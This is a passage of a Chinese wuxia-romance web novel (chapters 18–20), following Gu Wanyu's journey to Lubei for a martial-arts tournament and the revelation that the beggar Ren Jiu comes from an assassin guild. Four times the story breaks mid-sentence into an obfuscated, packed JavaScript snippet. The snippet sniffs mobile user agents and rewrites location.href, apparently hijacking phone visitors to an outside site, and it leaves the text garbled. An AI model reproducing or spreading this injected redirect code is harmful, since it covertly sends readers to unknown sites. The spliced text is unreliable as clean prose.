“不论如何,朝中为官还是很了不起的。”顾婉妤又补充道,“哪有完全是闲职的官位?若有机会,说不定你就能大展拳脚了呢。” 顾婉妤的话,确实切中了崔煜川的心思。他最大的心愿不就是获得施展才华和抱负的机会吗?虽然从未对顾婉妤讲出过,但她总能敏锐地察觉到这一些被他埋藏于心的东西,仅仅是潜意识便明明白白地映照出了他真实的样子。 果然,与她交谈,便如沐春风。在他思绪冗杂烦闷之时,天意引导他来到这河边,才能再次相遇。 “那么你在这里做什么呢?”崔煜川好奇。 “也没做什么。”顾婉妤露出沮丧神情,“就是因为没事做,觉得太无聊了。” 崔煜川忍俊不禁:“怎么会!你不是大忙人吗?每次出现,你都急急忙忙地在探查绯闻、情报的路上,怎么今天突然闲下来?” “哎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840151|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说来话长。”顾婉妤摆摆手,“总之我们小报现在是发达了,不用我去探查,新闻消息自动就送上门来。” “这样啊。”崔煜川笑着点点头。 两人之间的空气安静下来。背后街市依然喧嚣,而他们面朝江水,共享一丝静谧。 虽然安静,却不再有孤独的感觉,仅仅是一份不远不近的陪伴,便令人心中温暖。 这种关系,对二人来说,都弥足珍贵。 “我可以问你一个问题吗?”顾婉妤斟酌了一下,先开口询问。 “当然。” “如果说,我收到一份事关重大的情报,但是对于我来说,完全不得门路和要领,不知该从何下手,而且我自认为自己也没有能力去管这件事,我该如何呢?” “……” “怎么,”顾婉妤侧目,“你不知道吗?” “要不……你详细说说?”崔煜川问。 “哈哈哈。”顾婉妤笑起来,“怎么,你要一起吗?” “你不是没有能力,只是每个人擅长的领域和调动的资源都是不同的,我似乎正好与你能互补得上?”崔煜川语调温柔,“若你打定主意要做,不如就算我一份吧。” 顾婉妤心中泛起暖意,却仍旧摇摇头,兹事体大,她并不能贸然把崔煜川牵扯进来,否则将会给他带来未知的隐患:“少说大话了,而且我也并没有打算清楚。再说说你呢?你最近有什么心结,也可以问我一个问题。” 崔煜川微微抬头,眺望天空:“最近,我得到一个机会,却不知道那人的意图是好是坏。” “这也太笼统了,要不……你也详细说说?” 崔煜川和顾婉妤对视,两人默契地笑了出来。 虽然时隔许久不见,他们的所思所想,的确有许多相似之处。 崔煜川清了清嗓子,低声说道:“皇上派我去督工水利建设。” “这不是好事吗?”顾婉妤奇怪道,“皇上信任你,才交给你此项工作吧。” “就因为是‘信任’,才格外奇怪。”崔煜川谨慎地看了四周的情况,才接着说,“皇上本就心性多疑,再加我的身份特殊,无论如何他也不该将信任交付给我。” 顾婉妤对皇家内部之事毫无了解,所以她其实没有明白,为何崔煜川对皇上交付的任务如此警惕。在顾婉妤的心中,崔煜川应当是皇帝亲近的兄弟才对。 不过她不会现在就将这一切问清楚,她会等到崔煜川自己觉得合适,主动开口对她讲述全部的时候。 所以顾婉妤只是点点头:“你担心其中有对你不利的事发生。” “是这样的。” 出于旁观者的角度,顾婉妤当然想劝崔煜川,既然感知了危险就不要去碰触。本就是一份工作,不做不就是了? 但顾婉妤知道,崔煜川既然犹豫了,就说明他很感兴趣,他心底认为这是一个好机会,能让他开拓眼界,建功立业。 人心复杂,莫过于此种利弊权衡,她如今何尝不是同样地瞻前顾后、进退两难? “要不就……先做着,一见苗头不对,马上就跑?” “什么话。”崔煜川弹了一下她的脑袋。 “喂!”顾婉妤连忙捂住头,“既然如此,不如也算我一份吧,反正我格外无聊,到时候一起逃跑,路上还有个照应。” 18. 雨打芭蕉(5) 崔煜川无奈:“……你只是想出去玩吧!” “才不是,我都不知道你们要去哪里建水利呢!”顾婉妤争辩,“所以是要去哪里?” “麓北平原。”崔煜川,“皇上要在那修一座福源堰,解决麓北多年来易旱涝急转的问题。” 麓北平原?这不是巧了吗!大景江湖武林五年一次的天下大比即将在天下第一庄——镜麓庄召开,阮竹姐近日离开上京也正是为了此次大比替庄主跑腿。 另外,瑜瑾君的老家也在麓北平原上。 若是最后大家都去了麓北,顾婉妤便也突然想去凑热闹了。 本来就无聊,小报这边经营得也好,没什么放心不下的,不如去外面散散心,看一看天下大比的厉害,还能亲眼见证福源堰的兴修。 顾婉妤越想越觉得不错:“好,就这么定了,我也要去玩。” 崔煜川皱眉:“这可不是好玩的,这是正事。” 再说,出门办公事,身边一直跟着个姑娘算怎么一回事呢……这也太…… 崔煜川悄悄脸热。 顾婉妤潇洒挥挥手,打消崔煜川脑中的幻想:“我不是说跟你去,我自有去处,你别管,等我得空了再去看你。” “什么?你要跟谁去啊。”崔煜川的表情垮下来,条件反射般气呼呼地问。 “哈哈哈,”顾婉妤卖了个关子,“到时候你就知道了。” 崔煜川不爽地转过头,突然又回过味来,自己还没考虑好到底去不去呢,顾婉妤怎么都规划好到时候在麓北的日子了。 “我还不一定要接下这个任务呢。”崔煜川转过头来,得意洋洋,“到时候去了见不到我,可别一个人偷偷难受啊。” “哈,那你可真是想多了。”顾婉妤冲他做了个搞怪的鬼脸,“我现在就要去安排我的出游计划了,回见!” “喂!” 顾婉妤兴冲冲地跑走了,想到要出去玩,她是真的很兴奋。 被留在原地的崔煜川咬紧牙关,赌气地盯着顾婉妤的背影,怎么走得这么快!明明这么久没见,她也不问问我在做什么,也不会说想我了这种体贴的话。 只知道和我斗嘴气人!还说没有我也没关系,她跟着别人也要去麓北玩。 这还像话吗? 不行,崔煜川下定决心,他现在就进宫去面圣,这个督工的活计非他莫属了。 顾婉妤还不知道她的反应直接使崔煜川毫无二话就接下了皇帝交给他的任务。 她想着自己能去观看武林高手们的比武大赛,能跟着崔煜川在麓北看如何修建江堰,说不能还能借阮竹姐的光在又大又绮丽豪华的镜麓庄做客,心情就美滋滋的,也不管之前满心考虑的那些什么军器监的兵器粗制滥造、缺斤少两的事情了。 若是云锦她们着急,也不会把这个事情按下不表,拖到交付给她。但凡是个好处理的案子,以她们的聪慧和手段,都能想个法儿举报给官府,或直接跟崔煜川讲了。 就像那些写信求助的百姓一样,没有任何办法,只能拿到她这里试试运气的,都是官府不予处理或处理不了的疑难杂症。 再说了,平民百姓的矛头直指军器制造已经是胆大包天,更何况云锦其姐的身份敏感特殊。 她现在身在宛邦,在大景朝廷看来就等同于是宛邦人。即使顾婉妤信她,朝廷也不太可能采信她的举证。 那顾婉妤一个人在这里干着急也没用,说不定出去走走,见见世面,反而能有新的灵感和机遇。 顾婉妤暗自点头肯定自己,紧接着就像只撒欢的小鸟,兴冲冲飞到爹娘正待着的摊子上,向他们请示接下来的出行了。 顾爹倒是支持,只不过他想的是有关于小报的好处:“你去看看天下大比,写一张专题报纸出来,保管又要大卖特卖。” 阿娘则不赞同地看着这对想一出是一出的父女:“麓北那么远,怎么放心让你一个人去?不行。” “娘,我会照顾好自己的,保证不出任何问题。”顾婉妤拉起娘亲的胳膊,摇晃着撒娇。 “这也不行,我不同意。”邓阿娘凝眉一瞪,“再说了,那武林大会是好玩的吗,刀剑不长眼,武林人士也鱼龙混杂的,其中多的是人面兽心之徒,保不准会发生什么。” “阮竹姐会保护我的,我就在镜麓庄里乖乖待着看热闹,不会去做危险的事情。”顾婉妤举起两根手指,真挚地保证。 “别说了,你长这么大也没想过要掺和江湖上的事情,怎么今年突然想起来了。”邓阿娘戳戳顾婉妤的小脑瓜,“我看就是你爹把小报交给你惹下的祸,心越来越不安分了,不行。” 顾爹在一旁做鹌鹑状,一脸“夫人教训得对”的奉承样。 看爹娘这边是指望不上了,顾婉妤眼睛一转,又跑去搬救兵。 她要找疯子前辈帮忙! 疯子前辈行踪诡秘、神出鬼没,是有点不太好找,但幸好疯子前辈手下的乞丐们满大街都是。 顾婉妤到现在也不知道这个所谓“母亲待过还是半个大师姐”的又神秘又看着很贫穷掉档次的组织是干什么的,不过这不妨碍她借用起他们的力量来格外地理直气壮,完全当成自己家的亲戚一样看待。 她找了面熟的乞丐询问疯子前辈的下落,这样一路问过去,最后在城南一家茶铺找到了疯子前辈。 疯子前辈斜戴一顶斗笠遮阳,支着腿,坐在地上靠着墙角,慢悠悠地喝茶。 估计是摊主嫌他身上脏兮兮的,不让他用桌椅吧…… 顾婉妤不禁在心里赞赏,疯子前辈可真是不拘小节,不在意他人的目光!真不是一般人! 她走上去,挡住光,在疯子前辈身上投下一片阴影。 “干什么。”疯子前辈的样子懒洋洋的,甚至都懒得抬眼看她。 “疯子前辈,”顾婉妤笑嘻嘻,“你知道五年一次的天下大比吧。” “知道,怎么了。” “你不去参加吗?”顾婉妤明知故问。 “我去参加干什么,又没收到请柬。”疯子前辈嗤笑一声,看上去对这“天下大比”十分不屑。 “天啊,他们怎么都不给这么厉害的丐帮组织发一份请柬。”顾婉妤夸张道,“疯子前辈,你和我一起去,我保准帮你要到一张请柬。” 疯子前辈终于有心情抬眼瞥一下顾婉妤:“怎么了你这是,你要去看热闹啊?” “而且,我们不是丐帮,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840152|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你讲过一万次了。” “嘿嘿,我想去看,娘亲不让,我就试试能不能找你一起。”顾婉妤直言,“咱们一起去,她总放心了吧。” 疯子前辈无语了,令随便哪个旁人来看,顾婉妤她一个年轻貌美的小姑娘,和他这个又脏又疯的叫花子一起出门,才会更令人担心吧! 但偏偏这丫头说的还真没错,有他跟着,随时保护,师姐说不定真的能同意顾婉妤去观看天下大比。 这…… “疯子前辈,天下大比是全武林的盛会,除了数得着的名门正派之外,江湖上的小门小派,还有各类特殊组织、武学望族、佛道名人……全江湖的三教九流都能参加,为什么你们不去呢?”顾婉妤好奇。 疯子前辈嗤之以鼻:“他们纯粹是为了在大比上拿到名次,博一个江湖地位和名声换取好处,这些对我们有什么用。” 顾婉妤眼睛骨碌碌地转:“那你们为什么不需要地位和名声呢?这不是人人都喜欢的吗?” “我们是……”疯子前辈及时刹车,“差点被你套了话!” 顾婉妤作遗憾状,差点就知道疯子前辈他们究竟是做什么的了。 疯子沉思片刻,饮尽杯中茶水,又说:“算了,向你透露一点吧。我们组织原本更加庞大,只是前些年一分为二,我们这些在上京当叫花子的,只是出走的一小部分人。其他未出走的,应该会参加这次大比吧。” “所以,懂了吗?我们任何人出现在那里都不合适,会很尴尬,知道了吗?”疯子强调。 “怎么会尴尬呢!疯子前辈你的字典里居然有‘尴尬’两个字吗?”顾婉妤看着不顾路人异样眼光,席地而坐的疯子前辈,感觉他的话十分没有说服力,“再说了,你如果在大比上打败了组织里另一边的那些人,不是特别爽,特别出气吗!” 疯子前辈想了想那个场景,居然点了点头:“还真是。” “对啊,疯子前辈,走吧,事不宜迟。”顾婉妤趁机煽动,“咱们去狠狠地打他们的脸。” 疯子前辈摸摸下巴,被顾婉妤描述的爽快场面说动了,嘴里不自觉吐出两个字:“不错。” 结果,事情居然真的如顾婉妤的意,由疯子前辈带着她和另一个小乞丐徒弟,三人共同出发前往麓北。 临行前,邓阿娘又开始后悔和担忧,唠唠叨叨地说着“不要惹事”,“不要插手别人的恩怨”等等一系列顾婉妤耳熟能详的话语。 “知道了,娘,”顾婉妤在娘亲脸上亲了一大口,“你放心吧。” 邓阿娘慈爱地揉揉女儿的小脸,转脸又凶巴巴地对疯子说:“刃九,你可看好了婉妤,要是她出了点什么事,我饶不了你。” “知道了,师姐。”疯子前辈在大师姐面前倒是十分乖巧,不敢说任何不是。 而且为了出远门,疯子前辈和小乞丐难得去洗了澡,换了新衣服,从头到尾收拾得干干净净。 这样看过来,已经是十分正常的体面人了。 刃九?顾婉妤暗暗记下,原来疯子前辈叫刃九。 “出发啦——”疯子前辈驾着车,长吁一声,马车便平稳地驶离。 顾婉妤探头出来,笑着对着爹娘挥手告别。 19. 雨打芭蕉(6) 从上京沿运河一路北上,所见农田沃野万里,山清水秀,丛林茂密,当真是山河好风景。 顾婉妤陪小乞丐隐一在马车里玩抓石子,隐一的小手动起来又快又稳,就算马车摇晃也丝毫不影响发挥,连赢几把,逼得顾婉妤好胜心起,撸起袖子全神贯注。 车顶轻轻地响起“咚”的一声,好像是有果子掉下来砸中,两人正为了抓石子的幼稚游戏针锋相对,丝毫没有在意。 马车却一个急刹停了下来,外面响起疯子前辈警惕的声音:“你谁啊!” 隐一和顾婉妤同时抬起头:“什么情况?” 顾婉妤打开马车厢的门,见疯子前辈一脸警觉地望着车顶,手还冲她摆了摆,意思是让她赶紧回车厢里躲着别出来。 却不料,车顶传来一个令顾婉妤万分耳熟的声音,好听到性感的音色中夹杂着许多委屈:“小妤,我来找你了。” ? 顾婉妤顿时露出迷惑不解的表情:“……流火君?!” 流火君从马车边缘探出头,可怜巴巴地举手冲下面盯着他的人打了个招呼:“早上好啊。” 疯子前辈看了一眼这个莫名其妙的小白脸,又看了一眼顾婉妤,嘴里发出“啧啧”声,转头一屁股坐回车架,重新“吁”一声架起马车。 马车又骨碌碌地向前驶了起来。 顾婉妤没有注意到疯子前辈和隐一暗搓搓听八卦的样子,她保持着上半身探出车厢的动作,冲上面说:“流火君,你怎么来了呀!” 流火君生怕顾婉妤赶他回去,于是盘腿扒在车顶上不敢下来,蹭了一身的灰:“我也想去麓北,你怎么不喊上我,自己就走了?” “你也来麓北,那印坊谁来管?”顾婉妤理直气壮地质问他,颇有种正牌印坊少东家的气场。 流火君抬起头,哼了一声:“让顾叔照看啊,他不是很闲吗?” “我看你更闲啊!”顾婉妤冲他挥了挥拳头,“要是疯子前辈没发现,你是不是就要偷偷地一路扒在车顶跟着我们了!” “小妤,这上面好多灰尘啊,”流火君见顾婉妤有点生气,便又装起了可怜,“风吹日晒的好难受,我能下去和你们一起坐着吗?” 顾婉妤无语地嗤了一声,探回身子。 “姐姐,他是谁啊?”靠在车厢角落的隐一询问。 “奇怪的人,你不要和他讲话,会被带歪的。”顾婉妤吓唬小孩。 流火君见顾婉妤不理他了,非常自觉地跳下车顶,身轻如燕地落到车架上。疯子前辈看到他轻功这么好,吹了声口哨。 “小子不错,要不要加入我们上京行乞大队。” “什么队?”流火君怀疑自己耳朵出问题了,还不等他点头或摇头,就被顾婉妤从车厢里伸出的魔爪一下抓住后领揪了进去。 “哎呦。”流火君惊呼一声,被扔到车厢里。 “真是太离谱了。”顾婉妤评价。 不管是流火君偷偷跟上来想去麓北,还是疯子前辈推销乞讨的生活方式,都很离谱。 流火君嘿嘿一笑,从地上爬起来,乖巧地盘腿坐下。 “来就来了,但是,”顾婉妤竖起手指,对流火君约法三章,“第一,不许招惹是非;第二,不许偷鸡摸狗;第三,不许打扰阮竹姐的公事。” 流火君乖巧地连连点头:“当然,当然!” 顾婉妤心里不安,总感觉这个家伙的保证没有丝毫可信度! 隐一好奇地蹭过来,问流火君:“刚刚是你落在车顶上吗?” 流火君冲这个不认识的小孩点了点头。 隐一又问:“你是怎么做到不发出声音的?” “很简单啊,”流火君伸出两根手指,弯曲成小人的样子,在手掌上给隐一演示,“就这样先爬上树顶,‘呼’一声跳下来,再‘咻’地在空中曲起腿,最后‘嗒’一下落在车顶。” 顾婉妤捂住脸,很难承认自己认识这个人。 比抓石子还幼稚。 隐一却被吸引住了,他执着地追问,究竟是怎么样才能“呼”一下、“咻”一下,再“嗒”一下的。 流火君说:“我这是家传轻功绝学,不是你问了我就要教你的。” 隐一的眼睛亮起来,仿佛要饭的时候看到有人掏出了大鸡腿,他膝行过去,不依不饶地缠着流火君,要他讲授一些轻功的秘籍。 流火君恶劣起来,偏要逗小孩。 最后,两个人不知道脑子里的哪根弦搭上桥了,居然在这小小的车厢里你一招我一式地比划起来,就差满地打滚了。 顾婉妤坐在角落,无语至极,用书遮住眼前这一切混乱的场面。 从上京到麓北,统共要走10天左右的路程。 原本以为这会是一趟放松休息、悠闲度日的旅程,自从流火君加入以后,事情逐渐滑向了另一个极端。 从吵架斗嘴,发展到全武行混战,大抵是每一日的必修课程。 有时候连随心所欲的疯子前辈都觉得三个小破孩太吵闹了,要大声呵斥他们,别给他把马车拆了。 北方的平原一望无际,马车行驶在田垄高地,只见一片绿麦长势喜人。河流弯弯绕绕,在大地上画出蜿蜒的线条,一路向北延伸至天边的远山。 顾婉妤吵架吵烦了,就跳到马车顶,远眺着山外山。 没一会儿,流火君和隐一也上来了,三人分坐三个方向,看着风景,有一搭没一搭地说些没营养的垃圾话。 “那些山就是镜麓山脉吗?”隐一指着远方问道。 “不是吧,”顾婉妤说,“我们还要走好几日呢。” “是的吧,跑山跑死马,距离看着近,其实就是要走上好几日。”流火君反对。 两个人又开始争论起来。 隐一没得到准确的答案,就扯着嗓子问疯子:“师傅,那就是镜麓山脉吗!” “臭小子们,”疯子被他们吵得头疼,“我怎么知道啊!” 他驾车找方向,全凭地图好吗!地图让他怎么跑,跑几日,他就怎么跑。 谁知道那些山啊川啊都是什么! “你师傅是文盲,看不懂地图上的字的,算了吧,别问他。”顾婉妤小声对隐一讲。 “顾婉妤!我都听得到!老子识字儿!” 顾婉妤和隐一埋头偷偷笑。 旅途漫长,但每一日过起来,时间又显得短暂。越往麓北走,雨水渐少,从运河分流出来的河川也变得没那么湍急,而是静静地流淌在大地上,为植物庄稼和生长在这片土地上的人们输送着养分。 顾婉妤想到,崔煜川他们就是要在此处兴修水利,便不由得暗中点头。若是建好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840153|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这良田沃野,必能造福更多百姓。 粮食乃立国大事,藏粮于地,方可应对天灾人祸。 顾婉妤托着腮,静静地看着这一片大好山河,想到若崔煜川来了此处,必然胸中也是豪情万丈,恨不能马上建起河堰、惠利千秋。 这时,她听见流火君悄悄念叨:“不知道阮竹回了镜麓庄没有,唉……” 一声叹息,轻轻消散在风中。 “要不是她在,真不想去啊……” 顾婉妤竖起耳朵,却再没听见任何声音。 对了,顾婉妤这才想起来,流火君和阮竹姐一开始就是在麓北这边认识的吧。 流火君在各大门派组织那里都不招待见,他是怎么和阮竹姐搭上关系的呢? 隐一这个问题很多的小朋友,安静了一会儿之后又开始问道:“我们到了之后住在哪里?我们有钱住店吗?” 顾婉妤无奈,看给孩子穷成什么样了。 疯子前辈回答:“没钱,继续在街上要饭!” 一辆马车,载着思绪各异的四个人,驶向了麓北。 镜麓山脉。 这里当得起灵山宝地的称号,山虽不高,却绵延千里,山林中山珍宝物、奇珍异兽数不胜数。云气充沛,谷深幽静,古往今来无数文人墨客在此留下脍炙人口的诗篇、墨宝。 镜麓山下,又是热闹的人间。麓北平原坐拥好山好水,城镇人口众多,交通四达。乡村星落点布,安逸宁静,勤劳的人们晨昏定省,日出而作日落而息。 顾婉妤等人连日赶路,都已经疲惫了,好不容易到达目的地,他们便在山下的镜麓镇找了一家旅店入住休憩。 下月便是天下大比,此时的镜麓镇一改往日的安闲平静,陡然变得热闹起来。许多生面孔的江湖人士在小镇上出没,且大多看起来神采飞扬,自信又嚣张。身上的衣着打扮、背着的武器行囊,都各有特色,十分吸睛。 相较这些正儿八经混江湖的武林高手,顾婉妤一行人便显得格外朴素低调,和当地的普通人没什么区别。 本来嘛,他们就只是过来看热闹的。 对顾婉妤而言,她休息好了之后,职业病就开始发作了,忍不住要去街上茶楼里坐着,观察那些过路的高手们,再听听茶楼里说书先生讲解当今武林之格局。 这可都是发小报的素材啊!这一趟不能白来! 听得多了,她也能把说书先生嘴里讲的和路过的人对上号了。 那些身穿素净白衣,长发以玉冠而束,佩剑上皆有精致剑穗,成群结队在镇上出现的端方公子与姑娘们,想必就是来自大名鼎鼎的天剑阁,真是养眼。 而那些腰挂大小葫芦,一身劲装束腿的干练打扮,领头者还背着太极旗的,想必就是来自药王谷的仙医们。 还有许多特色鲜明的人及门派,有顾婉妤认得出来的,也有她认不出来的。 听说书先生说,与镜麓庄关系好的顶级门派,全部早都已经上山住进镜麓庄,其接待规格、衣食住行,当真配得上“天下第一庄”的名号。 顾婉妤甚至还听到了阮竹姐的名字,说书先生夸口道,阮竹居士是闫庄主唯一的养子,若不出意外,她便是下一个庄主,不费吹灰之力便可独步武林,坐拥天下江湖。 这样吗?顾婉妤一头雾水,心中没有实感。 20. 雨打芭蕉(7) 倒也不是说阮竹姐不能当武林霸主。 只是,气质温温柔柔,平日喜欢看书作画的阮竹姐,和那种小说话本里面的武林霸主的形象也差太多了吧! 顾婉妤想,那些成山的责任和看不见的虚名,对于阮竹姐来说或许反而会成为她所避之不及的。 到时,若阮竹姐需要自己帮助,不管是接受还是放弃,自己都会不留余力地帮她。 顾婉妤还在想着,突然就被人拍了肩膀。 转头一看,原来这么没礼貌的人是流火君。 流火君他脸上挂着喜悦的笑容,可真是装不出来的、实实在在的高兴。 “怎么了?”顾婉妤冲他翻了个白眼,问,“你什么时候过来的?” 流火君自动忽视了顾婉妤的问题,只说自己想说的:“我给阮竹送去的信鸽飞回来了,她回信道,已经在返程路上,过三日便能来接我们去庄里住。” 果然,流火君像阮竹姐养的忠心耿耿的小狗…… 顾婉妤点点头:“好啊,终于可以去镜麓庄见识一下了。” 提到“镜麓庄”,流火君高兴的脸庞却顿时变了个样,他嫌弃地说:“有什么好的,那里面的人都可变态了。” “变态?你可别乱说话四处树敌了。”顾婉妤赶忙看看四周,幸好没有旁人听到,“阮竹姐不也从小在镜麓庄长大吗?” “你不懂,去了你就知道了,阮竹是出淤泥而不染的那一个。”流火君坐下,自顾自给自己倒了杯茶。 朝夕相处了这么多天,顾婉妤对流火君这张脸已经看厌了,她喝完自己杯中茶便站起身,扔下一句“我出去逛逛”,自顾自地走了。 镜麓镇依山而建,风景秀美,好吃的也多,传闻泉水鸡、老鸭煲等山珍美味更是一绝,顾婉妤在街上转了转,便打算去觅食。 小镇不大,走了没几步路,她恰好遇到在路边眼巴巴盯着小摊上的小笼包流口水的隐一。 这孩子……不是给他钱了吗?怎么还一副吃不起饭的可怜样子。 顾婉妤走上去拍拍隐一:“别在这站着了,走,带你去吃肉。” 隐一听见有肉吃,便乖乖跟着顾婉妤走了。 两人走了几步,顾婉妤又突然在街上看见了举止怪异的疯子前辈。 ? 疯子前辈在做什么,难道他也吃不起饭吗? 顾婉妤悄悄来到蹲在一些废弃的木桶后面偷偷摸摸暗中观察的疯子前辈的旁边,小声问:“疯子前辈,你在干嘛……” “别出声!”疯子前辈一把将顾婉妤拉下来一起躲着。 隐一看他们行迹诡异,便走过来,同样被拽了下去。 “你到底在看什么?”顾婉妤无语地用木桶挡住自己的身形,透过木桶上的缝隙,向前方看去。 只见前方的街道上,正有几个身穿黑衣兜帽遮脸的人徐徐走来,不知道又是哪一派的江湖高手。 “怎么了?”顾婉妤以气声问道,“仇家?” “差不多吧。”疯子前辈咬牙,“没想到他们这次也来了。” 隐一默默说:“我们躲在这里,会被发现的。” 事实上,街上已经有人投来怪异的目光了…… “撤!”疯子前辈一声令下,就要往旁边的巷道内跑去。 可不等他跑上两步,突然跑不动了。 有什么东西拉住了他的衣服。 疯子前辈一回头,竟倏然对上了一张以黑布蒙起的面容,只是那唯一露出来的一双眼睛,他化成灰都认得。 顾婉妤和隐一还蹲在原地,呆呆地看着。 “喂。”疯子沉下脸来瞪视着这个不速之客,“我可不是来找茬的。” “哦?”来人盯着他,“那你是来参加大比的?” “怎么可能!”疯子怒极反笑,一下子拍掉对方拦路的手,“只有你们这些忘了本,想要沽名钓誉的家伙,才会来参加这种可笑的活动。” 顾婉妤在一旁听得汗颜,这是一口气骂了多少人啊…… “这么多年了,你还是这迂腐的老一套。”黑面人不屑地轻笑,“看你这可怜的样子,怕是想参加也有心无力了吧。” 疯子面容紧绷,气得才剪短不久的头发又要炸起来了。 偏偏那人还要接着火上添油:“这么硬气,可千万别打着组织的名号出来混啊,简直是给我们抹黑。” “你!”疯子气急了,扬起拳就要揍向此人。 黑面人不徐不疾,运起内力,身体半分未躲便直接震开了疯子的手。 他那双阴鸷的眼睛里透露出“果然如此”的轻视神色,便傲慢地扬起头,转身走了。 疯子前辈还在原地,差点气得倒仰过去,顾婉妤和隐一在一旁小声窃窃私语。 “这是谁啊?” “一个师叔。” “师叔?!你是说你们原来都是一伙的?” “原来你不知道吗?……两年前师父才带我们离开组织的,从此就一分为二,水火不容了。” “怎么闹成这样,你们到底是干什么的呀!” “喂,别在那叽叽喳喳了。”疯子的眼刀刺过来,“还蹲着干嘛,赶紧走啊。” 一炷香后,顾婉妤和隐一如愿以偿吃上了泉水鸡,也终于听到了疯子前辈亲口讲述的往事。 “杀手组织?!”顾婉妤差点没跳起来,发现自己声音太大又连忙捂住嘴巴,“那……那我娘?” “你娘很早就离开组织了,你看连你都长这么大了,她离开的时候还没有你呢。”疯子前辈指了指她,不耐道,“大师姐的前尘往事你就别问我了,好奇的话自个儿问她去。” 顾婉妤点头:“那你为什么要带一批人出走呢?” “当时宿影楼的上一任首领逝世后,就由刃三这个混蛋接替了楼主之位。但他心思太杂,竟然打起了在江湖上推广宿影楼名声的主意。你说,这职业杀手们的所在,能是大张旗鼓在外面宣传的吗!”疯子前辈提起往事,仍然显得忿忿不平,看来是心结未解,“这样下去迟早会出事,刃三又不听劝,我就干脆带了一批亲信出来单干了。” 单干,就是指在街上要饭吗?顾婉妤无语地在心中想,一不留神嘴上却也把这话说了出来。 隐一点点头:“师父我也想知道,为什么非要在外面要饭,我们又不是没有钱。” “这个嘛,当然是因为杀手要隐蔽身份,在上京的好处就是能接到的活很多,但坏在到处是军队和朝廷的眼线,万一暴露就完蛋了。”疯子前辈振振有词,“再说,不彻底地磨炼一下,怎么能成为精英?我们这些组织里的老一辈,以前过的日子都是你们不敢想的,现在你们已经是很享福了。” 顾婉妤无奈了,这样一看,疯子前辈的脑袋也不太正常,这师兄弟两人的思维如此南辕北辙,还都特别极端,难怪会反目成仇。 “没想到刃三会带着宿影楼来参加武林大会,”疯子前辈又开始阴暗地碎碎念,“就算遮了脸又有什么用!此行宿影楼的人在外界一曝光,以后不知道要生多少事端。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840154|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾婉妤和隐一倒双双觉得事情可能没有那么严重,这江湖上行事乖张、手握血债的组织比比皆是,多可不多宿影楼这一个。 “可别不服气,”疯子前辈对着小辈们瞪眼,“还有你,顾婉妤,你娘教你的轻功也是师出宿影楼,你与宿影楼有许多牵扯,万一到时候宿影楼有难,说不定你也有一份!” 这就来抓我的把柄了?顾婉妤左耳进右耳出,权当没听见。 她只是八卦一下,顺便了解了解娘亲的过往,对掺和他们江湖上的恩怨情仇可毫无兴趣。 不过,在镜麓镇遇到刃三和其他宿影楼之人的这个插曲还是严重影响了他们的心情,三人用完了饭,便心思各异地回了旅店。 旅店里倒是喜气洋洋,分明还没逢上什么节日,旅店的女老板却在店里挂上了许多喜庆装饰,流火君早早一个人回来无事可做,便也在帮忙。 顾婉妤上去打了个招呼:“老板,店里怎么多了这么些好看的东西,近来有喜事吗?” 听到有人这样问,老板便掩嘴而笑:“也没什么,托你们的福,近来生意红火,便用心装饰了一番。” 这样啊,看来是赶上大比,生意也好了许多吧。顾婉妤嘴甜道:“姐姐如此用心,服务周到,生意肯定要蒸蒸日上。”一句话惹得老板更开心了。 如此这般在镇上消磨了三日时光,倒也平安无事,没有出什么意外。三日之期一过,在外地送完请柬,快马加鞭赶回镜麓山的阮竹君果真准时来接他们了。 “阮竹姐!”顾婉妤早已收拾了行囊,坐在马车里等着了,见到骑着马风尘仆仆地从远处赶来的阮竹君,她开心地挥了挥手。 “阮竹——”流火君见到心心念念的人,也上蹿下跳起来。 许是到了麓北这边,勾起了许多往年不太好的回忆吧,他对阮竹的依赖情绪又加重了一些。 